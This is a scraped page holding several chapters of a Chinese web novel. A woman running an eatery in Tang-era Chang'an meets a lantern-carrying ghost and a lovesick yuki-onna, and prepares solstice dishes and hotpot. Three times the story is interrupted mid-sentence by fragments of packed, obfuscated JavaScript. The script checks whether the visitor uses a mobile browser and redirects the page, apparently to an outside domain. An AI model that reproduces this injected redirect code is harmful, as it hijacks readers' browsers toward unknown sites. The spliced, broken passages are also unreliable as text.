段知微刚坐井边洗完一盆菜，就听段大娘在外头喊：“知微啊，来一趟。” 她正坐得腰酸背痛，听这一声喊，忙走道前厅：“又怎么......”她的声音戛然而止。 前厅站着两个人。 一丫鬟手持双头牡丹灯立在前头，后面则是袅袅婷婷立着一位美人，她长得甚美，朱唇红裳，往灯笼下袅娜一站，甚为妖妍，只是脸色不好，惨白如月霜。 段知微把人往里邀：“二位娘子想用些什么？本店今日还有些许羊汤，不过羊肉串卖光了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14572999|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 美人极是知礼地朝着段知微福身，而后问道：“妾身是来寻人的，今日可有一位身着月牙色澜袍，身形约五尺半的郎君来这里用食？” 月色澜袍，身形五尺半......那只能是和苏莯坐一起的，那个什么都没吃的男人了。 但保护客人隐私也是段知微经营之道，虽这女郎确实颇有倾国之姿，但也不能随意透露客人行踪啊。 因而段知微不好意思笑笑道：“今日食肆繁忙，食客接踵而至，妾也不能记下每个人的特征啊。” 那美人便从怀中掏出一荷包来，里头看来是鼓鼓囊囊一袋子铜钱。 “君子爱财，取之有道。”段知微一向爱钱，但也有些原则底线，于是断然拒绝。 美人本是一幅我见犹怜之姿，听闻此，立刻冷下了脸，浑身颇有些阴森之气，吓得守在一旁的蒲桃藏到段知微身后。 “既如此，那便算了。”她木着一张脸，扭头走了，丫鬟提着双头牡丹灯引在前头，段知微和蒲桃探出脑袋看了一下，美人红裙翠袖，婷婷袅袅，逶迤向着西边走了。 蒲桃奇道：“这日如此得冷，她竟只穿了单薄一襦裙。” 段知微也反应过来，也是啊，食肆几个娘子，各个都裹得跟粽子似得，这位竟只穿着单薄襦裙在外飘荡。 长安仕女爱美......竟至这种地步了吗？ 冬至如大年，离冬至还有些日子，段大娘已经拉着段知微几人买糖、肉、菜果、豇豆沙，准备做冬至米团，用来冬至祭祖、祭灶用。 段知微试着做了一蒸笼，糯米磨碎打成粉做皮，里头包上各色馅料，蒸出来的团子洁白，有淡淡米香味。 几人轮流揉了半日糯米皮子，成效显著，吃着软糯有筋道，而且不粘牙。 段大娘精挑细选了半日，挑了菘菜香菇和豆沙两种素馅的，兴致勃勃拉着段知微去清风观里上香去了。 段知微对烧香拜佛这类活动向来没有任何兴趣，段大娘则是完全相反，各类寺庙、道观只要有活动定然是要参加的。 按她的话讲，礼多人不怪，漫天神佛求了个遍，总有一个得能实现夙愿的吧。 清风观坐落在乐游原之上，因着快要冬至，清风观也是游人如织，庭院间香炉袅袅生烟，几棵老松挺拔苍劲，倒是颇有些远离喧嚣尘世的意味。 道家神仙塑像前头已经供上了各色香烛、鲜花并果子，段大娘磕完头以后，便拎着一筐冬至团要赠给道观里的道士。 观主静云道长正在跟一书生讲话，那书生面容金纸，一脸忧布之色，道长从袖子中掏出二道朱符，书生赶紧接过，一阵鞠躬道谢后跌跌撞撞走了。 段知微觉得那书生眼熟，很是认真地盯着瞧了一会儿，才发现原来是那日跟苏莯一起来食肆，但是一口羊汤都未碰的、没有品味的书生。 这厢段大娘带着一篮冬至团到了道长面前，道长平日也爱吃段家食肆的素斋，正要笑着生受了，突然笑容遏制住，惊讶道道：“二位善信，怎么也如穆家郎君一样，身上妖气甚浓？” 35. 第三十五章 冬至拜冬 且说道长这一通耳提面命之后，段知微还不觉有什么，段大娘立时便瑟瑟发抖起来：“又有妖怪？哎呦老身这是造了什么孽，自打搬到这宣阳坊，就没有消停过。” 她赶紧叉手朝着道长深深一鞠躬道：“还请道长千万救我一救。” 静云道长微一沉吟吗，而后从怀中掏出一道朱符道：“此符挂在家中门上，能保一时无虞。” 段大娘千恩万谢的受了，段知微还想打探一下刚刚那位面若金纸的穆家郎君究竟是遇了个什么事儿，妖气是哪儿来的。见静云道长一脸高深莫测，也知自己随意打探不太礼貌，只得作罢了，拉着还在喋喋不休自己命苦的段大娘回了食肆。 段大娘立刻把朱符贴到了门柱子上。 段知微左看右看都不太看得惯，想动手把朱符移开点，被段大娘赶紧阻止。 段知微只能劝道：“长姑，把这符往柱子上一贴，不就是明晃晃告诉所有人我们食肆不干净吗，谁还敢来吃饭啊。” 这话倒是说得颇有些道理，二人各退上一步，段知微把那符藏到了梁柱子内侧。 这下段知微才看自己食肆顺眼了不少，开始安心研究冬至的菜谱。 她在前世不觉得冬至是个什么大节日，不过是被喊回老家祭祖而后再吃一顿饺子什么的，结果到了本朝，因冬至是二十四节气之首，人们把其当成春节一样，隆重来过。 由于圣人在冬至这日有祭天的仪式，百官和外藩使者都要参与冬至这日隆重的朝会，连带着袁慎己都跟着忙碌起来，偶尔才能见到他来食肆用一顿饭。 虽然冬至朝会的节目还在保密阶段，但是七头大象从滇国运来长安可不是什么能保密的事仪，全城百姓哪儿有见过这等奇兽的，都簇拥到朱雀街上去看这庞然大物，官署不得不紧急调动了一批金吾、千牛守在大街两侧，生怕百姓一个箭步冲上去惊了象。 于是袁慎己便给段知微描述了一下皇家园林训练车象的成果，到了朝会，七头大象会排成一排，向北而拜。 段知微听得开心，顺手给他也倒上一碟子糖炒栗子。 这栗子还是秋天时候终南山脚捡回来的。本朝人还停留在糖水煮栗子的范畴中，段知微已经先行一步，开始用砂石来炒栗子，就在食肆门口架上一个大铁锅,石子儿乌黑油亮，底下柴火烧得热气腾腾的，翻炒板栗时与石子儿碰撞沙沙作响。 焦糖的甜香直接蹿到另一条街去了。 每天下午段知微定时定点在食肆门路卖上半个时辰的栗子，原因也简单，这铁锅加上石子、板栗那不是一般的重啊，她每每甩半个时辰的锅，两只胳膊就酸得不行。 或许是因为限时限季，这糖炒栗子反而引发了饥饿营销反应，每日下午她锅还没支上呢，食客已经自觉在秋风里头排队了。 一锅儿栗子因为糖浆慢慢变得油润发亮，偶尔铁锅里会有一两个栗子爆个口子出来，露出里头金黄的板栗肉。 食客在风里等久了，好容易排到自己，学着用铜钱塞进板栗的缝儿里一扳，里头带着焦糖甜香的肉就冒出来，吃上一口，热乎乎的，软糯香甜，极是好吃。 只可惜秋天捡了没多少栗子，还没卖几日呢，就只好停止了供应，段知微偷偷留了些给自己吃，也分了袁慎己一盘子，叮嘱他千万别说出去，有世家子弟打发家奴来买，她都没舍得卖。 袁慎己不由失笑，但还是拱了拱手朝着她道谢。 二人正聊得开心，却见苏莯又一脸呆滞地走进了食肆，开口就要一份热乎乎的羊汤，段知微刚还在为了冬至试包了顿羊肉饺子，于是准备找这位看上去清澈且愚蠢的九品录事试吃看看。 “苏录事可想尝尝本食肆新出的羊肉饺子？都是新鲜的羊腿肉，馅大多汁。”段知微推荐道。 苏莯也不知有没有把她的话听进去，只胡乱点点头，盯着前方虚无的空气发抖。 食肆老早就暖上了火盆，里头简直就是一片温暖如春，就连阿盘那样畏寒的娘子都脱了外裳只穿一单薄襦裙在干活，这苏莯也太弱了一点。 这么想着，段知微扭头去煮了一碗羊汤饺子递给他。 其实段知微心里头也没底，本朝人爱羊肉，现代人却对羊肉这种有膻味儿的肉类两极分化，除了大量加入孜然的羊肉串，绝大数饭店，包括段知微自家饭店，都还是选更加稳妥的牛、猪、鸡、鱼类当主要菜谱。 这导致段知微做羊肉的手艺十分之差，那羊肉馅混上了洋葱、花椒之类去膻气，段知微还咬牙撒了一大勺胡椒。 这厢段知微正观察着苏莯表情，蒲桃悄悄拉她的衣袖，满脸羞愧道：“娘子，我刚刚贪看画本儿，不小心把刚剁好的羊肉馅直接包饺子了，那盘放了调料的羊肉馅还搁井边冻着呢......” 这就意味着，苏莯正在吃一份什么调料都未加的饺子，那味道不得......这对食肆来讲简直是不可饶恕的错误，段知微吓得花容失色，只得结结巴巴凑到苏莯面前准备道歉和赔偿方案。 岂料苏莯面不改色吃下一份什么调料都没放的羊肉饺子，而后准备掏钱。 段知微不由问道：“苏录事近日可安好？” 什么样的打击让一个人味觉都消失了？ 苏莯听闻段知微猝不及防的关心，直接忍不住红了眼眶。 “哎，你别哭啊”段知微慌忙道，她扭头看一眼，袁慎己还在大口吃胡饼，赶紧把他也喊了过来，准备听听苏莯遭了多大委屈。 没想到苏莯哽咽一下而后道：“我前些日子撞鬼了。” 袁慎己和段知微对视一眼，段知微有些想笑，见他认真，赶忙把笑意咽了下去。 作为长官自然要关心自己的下属，因而袁慎己首先开口问道：“苏录事还是详细说说发生了什么事情吧。” 苏莯开口讲了之前的经历。 苏莯有个邻居姓穆，唤其穆生，重阳灯下遇一美人，二人一来二去便好了，有时苏莯在家读书，能看到一丫鬟打一双头牡丹灯笼，引着美人前来相会。 苏莯道：“穆生还请我过去喝了碗酒，那美人我也见过，确实容色倾城。” 就是脸色如蜡般白，毫无血色，身上有奇怪檀香气味。 前日苏莯欲将借穆生的书送还给他，喊了半日无人应答，他绕到旁边窗户边上，透过窗纸的空隙看去，竟见一粉骷髅与穆生坐在灯底下棋。 他立刻吓出了声，不想穆生仍然死死盯着棋盘毫无反应，那粉骷髅竟然微微抬起头，朝着窗纸看去，还冲他笑。 苏莯赶紧收拾细软跑去投奔自己的驸马姑父，在那住了几晚，公主府戒备森严，又有真龙之气，苏莯这才稍微宽心了一些。 宽心之后就是惭愧，穆生对他极好，他竟这样就溜走了，真是枉读圣贤之书了。于是苏莯挑了阳光甚好的一个青天白日，带了公主府两个侍卫找到穆生，给他讲了那日自己见到的情形。 跟一具骷髅谈了半月恋爱，穆生虽然惊恐却也有几分不信：“可丽娘是那般貌美鲜妍，而且某还知丽娘住在哪个坊市。” 段知微听得认真，不由插话道：“那你们去一趟，找邻居们问问不就好了。” 苏莯一拍大腿：“正是如此啊。” 结果真的按照穆生给的地址几人前去寻访。 段知微问道：“”可找到人了？” 苏莯脸上毫无血色，嘴唇也跟着颤抖起来，段知微忙给他打了一碗热腾腾的枸杞红枣桂圆饮子，苏莯接过一气儿饮完道：“找到人了。” 那日黄昏将夕，他与穆生驾马到了丽娘说的地方，竟然是座破败的小庙，里头放着一灵柩。 苏莯擦擦冷汗：“那灵柩上写着丽娘之柩，柩前悬一双头牡丹灯，一明器婢女立在灯下。” 几人吓得遍体生寒，两股战战， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597191|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立时便逃了出去。 段知微和袁慎己都听得沉默了，良久，袁慎己开口道：“此乃妖邪之事，看来袁某需要写个折子转给钦天监看看，不能影响陛下冬至祭天，也不能影响百姓冬至欢游。” 说完，他朝着段知微一拱手，竟自去了。 段知微倒是很想听听这可怖怪谈的后续，无奈那几日袁慎己和苏莯都没有再来食肆，她只好把这事情放下，全力准备冬至。 夏日择出的那些老而红的南瓜，与糯米粉放在一起蒸成南瓜团用来祭祖，又忙着冬舂米以备粮仓。 因着“冬馄饨，冬馎饦”的民间谚语，段知微跟阿盘她们又包了百味馄饨。 段知微选择了猪肉、羊肉、鱼肉等肉馅，再加上冬韭、香菇、红豆等素馅，包了十来种馄饨，馄饨皮也由菠菜、甘蓝、南瓜、红曲儿染色，一碗百味馄饨，五颜六色的，看上去霎是好看。 冬至贺冬，还需“履长”和“隆师”。 “履长”是指向长辈献履献袜。于是段大娘这日收到了几个小辈送来的袜子和鞋，阿盘手巧，做的冬鞋扎实又暖和，蒲桃则在袜子上绣了几朵小桃花，段知微不会女红，在东市买了双丝织鞋。 段大娘乐得嘴都合不拢，倒是埋怨段知微一顿：“何必破防给老婆子买这么贵的鞋。” 段知微：“......”也不知道前些日子在自己耳边明里暗里反复提及东市某家鞋肆的人是谁。 “隆师”则是尊师拜师的意思，甄回前几日就把孔子像在后厅摆将起来，由于其他书生大都住在驿站旅店，不好参拜，这些书生吃完一碗百味饺子，自觉绕到后厅拜孔子去了。 所以说，冬至一群书生在段家食肆里点碗馄饨等着排队拜孔子，都成了宣阳坊一景儿了，坊正特特来把段知微表扬了一顿。 段知微毕竟是现代思想的女孩子，也上了那么多年学，于是晚上趁四下无人，也赶着来拜了拜孔圣人。 “守冬爷长命，守岁娘长命”为着这个谚语，蒲桃决定一整晚不睡觉守冬，除了段大娘年迈，其他几个人都陪着她一起守了，围着暖炉说说话，喝喝红枣茶，看看话本子，嗑嗑瓜子也很好。 到了将近子时，蒲桃大大打了个哈欠，特意开了门板，要出门吹吹寒风清醒清醒。结果出去不到一会儿又逃窜似的逃了回来。 段知微觉得好笑：“外面是有老虎追你吗？”一边给她续上一碗红枣茶。 结果蒲桃一脸惊恐道：“那日来我们食肆寻人的那个美人娘子，跟一书生在外头走过，前面还跟着一打着双头牡丹灯笼的丫鬟。” 段知微吓得瞌睡全醒了，立刻跳出来去门口抬眼一看，云阴月黑，人已经走远，只有一盏微弱的豆火在寒夜与冬风里飘荡，她赶紧喊起来阿盘，两个人合力把门板又重新装上。 第二日一早，几个人都有些无精打采，食肆关了半日门，都回房间睡一通觉恢复了精神。 晌午过后，袁慎己和重阳见到的王潜一道来了食肆。 段知微上了两碗百味馄饨，把昨夜之事跟他们一讲。 岂料袁慎己严肃道：“穆生死了。” “啊？” 前日袁慎己将此事报给了钦天监，第二日领着钦天监去寻穆生不见，于是又到了丽娘的柩前，发现柩的空隙里夹着穆生的衣裾，打开灵柩一看，穆生已经死去多时。 段知微啧啧两声，只觉这对鸳鸯苦命，再一想，那穆生还跑道观找道长要避祸朱符，没准也颇是个见色起义之辈。 她觉得无趣，袁慎己也默默饮茶，只王潜兴奋难耐，一连叠声让段知微取笔墨来。 段知微拿给他，这人伏在食案上就开始洋洋洒洒开始写。 袁慎己颇为无奈对段知微说：“只怕是王君又得了写变文的灵感。” 王潜头也不抬，只奋笔急书道：“名字我都想好了，就叫《牡丹灯记》” 36. 第三十六章 瑞雪与火锅 冬至过后，长安进入了一年里最冷的时段，“数九”开始。 都说“一九二九不出手，三九四九冰上走”这话是一点儿都不假，段知微除了日常经营外，又多了个苦差事，那就是扫雪。 往往清晨，天色还未大亮的时候，她和阿盘、甄回三个人就要把堆积在食肆门口的雪扫干净，再铺上一层厚厚的干草，供食客踩踏而不会滑倒。 段知微还想过用盐来化雪，只不过盐罐子还未从火房拿到前厅，就被段大娘一把子拦下：“官盐价值几何？你把这当御膳茶房呢？” 段知微只得罢了，老老实实每天一大早爬起来扫雪，几人随意说句话，一团团白雾就从口中冒出来。 好容易扫完门前雪，段知微便赶忙回到前厅生火，耳朵和手在外面冻得通红，被火一烘竟然还有些发痒。 食肆里夏日的翠竹茵褥早早撤了，换上了类羊皮的厚厚毛毯，看着就暖和，这时候往上头一坐，往火盆边一靠，再取一碗火上炖煮几个时辰的羊肉高汤，撒上葱碎、胡椒粉，大口嗦上一碗热腾腾的、加辣的羊汤馎饦，简直是人间第一等的享受。 段知微靠在火盆边上，着了墨画上了几个火锅的样式，趁日头放晴了，又去了趟铁匠铺。 她自觉这火锅样式新颖，围炉吃火锅又有趣又别致，定然能在长安一炮而红，自己肯定能赚个盆满钵满，没想到铁匠对着光看了眼段知微画的火锅样式，而后道：“暖锅，某店里有现货，各坊的食肆已经订了不少走了。段娘子需要几个？” 说完对着靠墙的木架指了一指，那里陈列着二十来个锃光瓦亮的铜锅，甚至还有分好格子的，可以一锅混用不同的汤底。 段知微默了一默，而后干巴巴道：“您真是聪慧，这等炊具都能打造出来。” 铁匠奇怪看她一眼：“这不是老早就有了，前朝......不对，前朝的前朝就有了。” 段知微梦碎，只好买了十个暖锅,绑到驴车上，再赞上一句古人智慧，然后灰溜溜地回家了。 既然火锅没办法搞创新了，那只能在锅底上精心来调配些汤底了，听闻东市有家食肆专做菊花暖锅，便特特去了一趟。 岂料半途遇到下值的袁慎己，便很是愉快的邀请他一起过去。 “妾请客”她拍着胸脯道。 有袁慎己在就是不一样，那专卖菊花暖锅的食肆本来已排了一长队的人，酒博士见袁慎己一身绯色澜衫官服，赶紧要将其迎进雅座。 不料袁慎己却抬手拒绝，竟是不要这个优待，本来段知微也不好意思插队，于是也跟他在外头一起等着。 “都尉最近可安好，冬至那日在朱雀大街巡防顺利吗？” “说到这个......”袁慎己低头望她几眼：“最近长安不算太平，若非必要，段娘子还是不要随意往人少的地方走。” 段知微原本只是觉得两人在冬风中干巴巴站着，才随便想说点废话打破沉默，没想到他突然来句“长安不算太平。”倒是让人心下不安起来。 或许是食肆实在不敢让四品大员在风中等上许久，排队进度都快了不少，不多时便腾出个雅间，酒博士赶忙出来把二人迎了进去。 这食肆用的还是金丝碳，没有一丝碳气，暖烘烘的极其舒适，二人刚坐下来，酒博士便麻利送上一份咕噜冒泡的暖锅。 段知微低头一看，原是清鸡汤锅底，里头飘着三朵去蒂的鲜菊花，不仅看着雅致，而且花香扑鼻，段知微用小勺舀上尝上一尝，掌勺的讲究，为了保证食材的原汁原味，这汤底调的比较清淡。 肉菜也上了，是摆成鱼鳞状的四碟猪腰、猪里脊、鲈鱼片、鸡胸脯。都已经处理好，切得极薄，一涮就能吃。 蔬菜则是嫩豆腐、菠菜叶、白菜心和韭黄。段知微咋舌，白菜心涮一下倒是清甜好吃，只是太废白菜了，难怪这家食肆生意好，有舍才有得啊。 段知微一边涮肉，一边看袁慎己一眼问道：“长安为何不太平啊？” 莫不是要打仗了。 袁慎己安慰她，倒是与打仗无关：“东瀛遣唐使参加完冬至朝会以后上书朝廷，似乎有几只妖怪自东瀛跟随而来，在长安走失了。” 他说得如此轻松，就像打发一只飞头蛮去菜肆买菜一样。段知微是双眼一黑，东瀛来的妖怪，这不会在朱雀街上演百鬼夜行吧。 袁慎己觉得她的反应颇为有趣：“金吾卫晚上巡视，捉妖司也全部回归了长安，大概几日便能把妖怪捉回。” 最后上的菜是这家的特色“麻叶”生坯，也就是面粉加水四钱而成的面团，切成菱片麻叶形状，倒入锅中等于是下面条了。 这顿暖锅除了听到一个妖怪的噩耗之外，吃得还是分外满足的，蔬菜新鲜，肉品又薄又嫩，就是段知微找酒博士结账的时候，发现袁慎己已经把钱给过了，只能尴尬收了荷包：“这说好妾身请客的，这怎好意思......” “无妨”袁慎己颔首：“不过是些小钱。” 话虽如此，段知微决定年节的时候往袁府送点贵重的节礼。 当下袁慎己坚持送段知微回食肆，段知微邀请他第二日一定来食肆吃暖锅。 袁慎己微笑一下道：“袁某很期待”而后策马离开了。 当下段知微也大概懂了长安的暖锅是个什么流行趋势，心下稍安，开始准备起来。 羊汤再怎么去膻味，还是不宜当做暖锅锅底，宋人吃火锅时，不流行涮牛羊肉，倒是更流行涮兔肉，就在沸水里一滚沾上蘸料便可食用。 宋朝食单《山家清供》里描写这兔肉火锅：“浪涌晴江雪，风翻照晚霞。”意思是汤底翻涌如江水、色泽乳白如白雪，兔肉则像晚霞一样红。 只是兔肉难寻，偶尔才有猎户拎上几只进城售卖，于是段知微也就算了。 当下只敲定了猪棒骨熬的浓汤和整鸡熬的清鸡汤，食肆有许多食客是书生，为显风雅，段知微也跟花肆订上了一篮子新鲜菊花，准备放进鸡汤锅中。 肉食除了猪里脊、鲈鱼、鸡胸脯等，还准备一份鱼圆和肉圆双拼，鱼圆是用鲜活的白鱼和青鱼剁成泥，加猪油和豆粉，用手顺时针搅拌均匀，加葱姜水去腥气，用虎口把鱼蓉挤成一个个团子，中间再放一小勺蟹粉。这鱼圆外形饱满，颜色雪白，若放入汤中煮熟咬一口，那真是鲜掉眉毛。 肉圆则是肥瘦猪肉各半，剁成肉泥，里头加入松仁、香菇、笋干、荸荠、姜碎，用芡粉一拌，再来两勺酱油和甜酒，再扔锅里炸，很快炸肉的香气扑鼻而来。 蒲桃在一旁看得眼睛都直了：“娘子，这真是我们可以吃的吗？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601342|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 段知微颇觉好笑：“这有什么不能吃的。” 蒲桃擦了擦口水：“感觉像上了天庭一样，仙女都吃不到这么好吃的食物。” 段知微被这句恭维惹得笑个不停，还未等她讲话，段大娘拎着个包袱回了食肆，抖了抖身上的雪道：“别天庭仙女了，老身在外撞到妖怪了！” “啊？” 段大娘先饮下一碗红枣桂圆茶，惊恐道“老身正在桥上走呢，一个身着古怪，披头散发的娘子往桥口一站，就那么死死盯着水面，我还当她要跳河呢，正打算去劝一劝，突然来了几个官差打扮的人把那娘子压走了。” 蒲桃接话道：“那指不定是个犯人，为何说那是妖怪？” 段大娘摇摇头道：“我凑近一看，那娘子竟然没有五官，这不是妖怪是什么？” 段知微在一旁听着，心想，她见到的该不会是桥姬嘛......想到袁慎己的叮嘱，于是她也跟段大娘几个道：“暂时不要去偏僻的地方。” 毕竟捉妖司和金吾卫还在四处忙着捉妖，幸而自家食肆还有一只大妖守着。 这么想着，她环顾一圈去寻金华猫的身影，一转头，某只猫伸出一只爪子，正在偷偷够桌上刚包好的鱼圆。 段知微：“还是算了吧......” 老天倒是很眷顾，第二日不知为何，宣阳坊格外得冷，双手伸出袖子一会儿都冷得直打哆嗦，虽然食肆的碳废得更快了，但是为了取暖、吃暖锅，今日店里一早便围坐了满满的食客。 那家卖菊花暖锅的食肆也配有调料，左不过是些精盐、酱油、醋还有甜面酱。段知微觉着无趣，便自己用石磨压了些芝麻酱，又用吴茱萸加黄姜熬了些茱萸酱，这茱萸辛辣，可弥补本朝没有辣椒的遗憾。 待客人在食案边坐好，把锅抬上来，各色调料放进五寸盘里，由食客自选。 想到袁慎己昨日说来，特地给他留了个位置。 袁慎己到了下晚才来，段知微麻利给他上了几盘菜，而后道：“妾家长姑今日在桥下遇到个不知什么妖怪，好在官差及时赶到......” 袁慎己也不忙执箸，听她如此说，安慰道：“基本都捉住了，听遣唐使的意思，似乎还剩下一个。” 当下段知微心下稍安，立时又给他上了两盘鱼圆道：“都尉尝尝，里头搁了勺蟹粉，鲜得了不得。” 晚上又飘起了鹅毛大雪，食肆客人已经走光，几人围着火盆吃最后一份暖锅，段大娘额外喜欢吃切薄的腰花，沾上些茱萸辣酱，一口就吞下去。 段知微又弄了些面团揪了些面片进去当主食，外头纷扬大雪，几人围坐在厅堂吃饭，段大娘给她们讲一些奇闻异事，倒也颇为温馨。 不想外头却突然出现个人影。 “今日还有饭食供应吗？”一个幽幽的女声道。 “有有有”因着春闱，甄回白日都没帮什么忙，窝在库房里看书，这会儿自告奋勇站起来准备接待食客。 虽说有宵禁，但是坊内走动倒是无甚妨碍的，只是今日大雪，竟然还有客人，这倒是让众人没想到。 来人身着白色单薄襦裙，飘荡的黑发上布满冰凌和雪珠，是个女子，生得美艳，见甄回一副白净皮相，满意笑道：“郎君真是英俊，妾真想将你冷冻带回山里。” 37. 第三十七章 食肆外雪越下越大，这娘子就披一身蓑衣,里头是薄如蝉翼的襦裙，看上去颇有几分可怜之态。 段知微刚想起身把客人迎进门来，就听到那句“冰冻带回山里”，她往后退上几步，这下可算是知道袁慎己口中的“只剩一个妖怪未被抓住”，这个妖怪是谁了。 雪女，常年隐居深山里，只穿一袭单薄白衣，特点是喜爱四处寻觅英俊的郎君，冰冻后带回深山中欣赏。 难怪今日长安格外得冷。 夜寒雪大，现在去喊人必然是来不及了，甄回已经吓得悄悄缩到了后面，段知微在考虑此刻冲上前把门关起来能抵挡妖怪的成功几率，不想雪女看出了她的心思，而后缓缓开口道：“关上门的话，妾身可以唤来风雪将门破开。” 段知微沉默良久，而后勉强露出一个热情的微笑道：“怎会，这样的风雪夜，断没有将客人赶到外面的道理。”而后热情地把雪女迎接了进来。 雪女刚一踏进来，整个食肆的温度便直线下降，慌得几个人各自都披上冬衣，段知微赶紧往火盆里多扔了几块碳。 雪女了然望炭盆一眼，笑道：“妾又不是雪人，加上些温度并不能伤到妾一分。” 段知微被戳穿，悻悻放下了加碳的火钳。 同时，阿盘已在火房备好一锅咕噜冒泡的鸳鸯暖锅出来，端到雪女的食案前头，雪女略微看上一眼问道：“有酒吗？” “有有有”段大娘也看出了不对劲，赶紧点头应是，然后去坛里打上一壶新丰摆到雪女面前。 于是眼下雪女端坐食肆正中央，优雅地吃着暖锅饮着酒，食肆众人全部缩在前厅一角面面相觑。 雪女慢慢悠悠开始涮食一盘鱼圆、一盘肉圆、一碟里脊和豆腐，而后鞠躬道：“承蒙款待，感激不尽。” 还挺有礼貌的，段知微想。于是她上前多斟一杯酒给雪女道：“这是我们应当做的。”而后又小心打探道：“不知娘子这风雪夜在外徘徊是为了个什么事？” 雪女一边低头食用暖锅一边道：“妾来长安，寻情郎不遇，内心十分绝望，在宣阳坊徘徊良久，只得以食用暖锅的方式自我了断了。” 这谈话方向直接超出了段知微的意料，一个民间故事里的危险妖怪，在一个风雪交加的夜晚，在自己的食肆里头企图以食用暖锅的方式自我了断？ 这像话吗？段知微以为对方在开什么奇怪的玩笑，结果真的发现雪女的头发上大量滴落水珠，整个人如同笼罩在一层薄雾中，身形开始变淡。 她赶紧喊上阿盘蒲桃，慌张把食案上的暖锅都撤回了火房。 眼下雪女开始捂脸大哭道：“妾身活在这个世界上还有什么意思。” 段知微也很无奈，大半夜遇到一恋爱脑妖怪就算了，雪女身上的水珠落地上洇湿了刚换的羊皮褥子，这褥子段知微在东市晃荡了三天才看到有小摊贩出来卖，很贵的。 当下雪女就把事情和盘托出，原来她在深山中救了一位前去东瀛贩货的英俊货商，与货商约定救人的事一定要保密。 过了些日子雪女见那货商实在英俊，便心痒难耐起来，化为了普通女子与之相爱、成亲。 食肆众人害怕也顾不上了，全都凑过来问：“后来呢？” 后来一天货商跟妻子讲了在深山遇到雪女的故事，妻子很生气道：“你遇到的妖怪就是我啊！我不是告诉过你，不能对任何人提起这件事情吗，你违背了我们之间的誓言。”而后妻子又重新变作雪女的模样，哀怨地离开了。 只是雪女后来在深山遇到的货商、樵夫，一个比一个丑，这才愤然悄悄偷坐了遣唐使的船，来寻自己的前夫。 段知微听得一愣一愣的，然后问道：“可是他对妻子提及了这件事，妻子就是你，你就是雪女，这不算违背誓言吧？” 雪女未想到还有这个说法，懵了一会儿道：“如此......” 段知微见她松动，心下稍安劝道：“我朝英俊郎君要多少是多少，曲江池畔，乐游原上，文的武的、老的少的任君挑选，保不齐你一过去，发现帅的这么多啊，就把他忘了呢，做妖嘛，何必非吊死在一棵树上。” 雪女站起身来，鞠躬向段知微道谢“既如此，那便多谢娘子劝导了。” 而后，雪女起身离去，身影像雾一样消散在食肆之外。 食肆几人这才长出一口气，段知微赶紧把雪女沾湿的羊皮褥子拎起来，挂到一根麻绳之上，挪到火盆边烤干。 甄回是真的以为自己要被冰冻带走，眼下安全了，坐到胡床上直抹汗。 几人休整了一会儿，合力把门封了起来，把风雪关在了外头，而后各回各屋睡觉去了。 经历如此离奇的一夜，每人似乎都没睡好，眼下都有些乌青。不过段知微没空理这个，她还有更重要的事情要做。 寒冬，乡民多畜乳牛。咬上几口胡饼充完饥，段知微便蹲到街口等乡民来城里卖鲜奶，一顿讨价还价后，把乡民手中的鲜奶全部收购走了。 鲜奶这东西可堪大用，比如西市有家铺子冬日专做酥花、乳饼，将酥加热到近乎融化的状态，拌入蜂蜜，做出一朵白色茉莉花的形状，因为造型别致优雅因而十分受达官贵人的喜爱。 至于乳饼就更简单了，只用新鲜羊奶加上白醋，制成羊奶乳饼，或在石窑里烤、或在铁锅里煎，加白糖、加椒盐都随意，拌在酒酿之中也不错。 但是段知微扛上一缸鲜奶回食肆以后，已经决意要用这些做奶茶了。 其实本朝也有奶茶，自文成公主嫁与松赞干布之后，我朝就开始流行茶叶与羊奶、牛奶一起熬煮。诗人李泌也曾在诗中赞叹：“旋沫翻成碧玉池，添酥散出琉璃眼。” 本朝奶茶就是简单的奶加茶，段知微准备做些有创意的。 首先便是去民窑的肆铺订制了些罐罐陶壶和小碳炉，方便食客自己坐在食肆里头围炉煮茶，若是食客不愿意在食肆里久坐，那也无妨，可以外带，段知微又去订了些竹筒。 冬日订不上那种夏季碧翠的竹子了，剩下的都是微微带黄的。这些大竹做晾衣竹竿嫌粗，煮饭也用不上，怕是连熊猫都不会爱吃，价格很便宜，段知微几乎没花几个子儿，就拖上一驴车的大竹竿子回了食肆。 把这些竹子锯成竹筒状，细心去掉口子上的毛刺，再在外层刷一层清油。 蒲桃拎起竹筒左右一看道：“可是娘子，这竹筒上有许多裂纹与枯黄。” 不是很雅致的样子。 段知微自有办法，她让甄回再写一些吉利话在花笺上，什么“兰桂齐芳”“熊罴入梦”，再用浆糊把花笺贴到竹筒的裂口上，竹筒立刻焕然一新了起来。 